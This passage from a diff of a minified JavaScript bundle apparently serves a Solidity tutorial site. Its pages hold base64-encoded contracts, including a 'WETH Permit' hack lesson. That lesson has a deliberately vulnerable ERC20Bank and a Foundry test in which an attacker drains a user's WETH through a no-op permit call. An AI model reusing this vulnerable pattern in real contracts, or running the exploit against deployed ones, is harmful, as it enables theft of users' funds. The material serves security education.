Rlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],sZ=`

                                    Vulnerability

                                    +`,L0=({prev:s,next:a})=>r.jsx(A,{version:E0,title:Q0,description:T0,html:_0,prev:s,next:a,codes:U0}),O0="0.8.24",P0="WETH Permit",$0="An example of WETH permit hack",q0=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjBQZXJtaXQoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0V2l0aFBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],sZ=`

                                    Vulnerability

                                    Most ERC20 have the permit function to approve a spender if a valid signature is provided.

                                    However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

                                    This is because the fallback inside WETH is execute when permit is called.

                                    @@ -10703,7 +10703,7 @@ if the signer's intention was to approve a transaction once.

                                    emit Withdraw(msg.sender, amount); } } -`,aZ=({prev:s,next:a})=>r.jsx(u,{version:O0,title:P0,description:$0,html:sZ,prev:s,next:a,codes:q0}),nZ="0.8.24",lZ="Hashing with Keccak256",pZ="Example of hashing using Keccak256 in Solidity",eZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],cZ=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    +`,aZ=({prev:s,next:a})=>r.jsx(A,{version:O0,title:P0,description:$0,html:sZ,prev:s,next:a,codes:q0}),nZ="0.8.24",lZ="Hashing with Keccak256",pZ="Example of hashing using Keccak256 in Solidity",eZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],cZ=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    Some use cases are:

                                    • Creating a deterministic unique ID from a input
                                      • @@ -10745,7 +10745,7 @@ if the signer's intention was to approve a transaction once.

                                      return keccak256(abi.encodePacked(_word)) == answer; } } -`,tZ=({prev:s,next:a})=>r.jsx(u,{version:nZ,title:lZ,description:pZ,html:cZ,prev:s,next:a,codes:eZ}),oZ="0.8.24",rZ="Hello World",iZ="Hello world in Solidity",gZ=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],hZ=`

                                      pragma specifies the compiler version of Solidity.

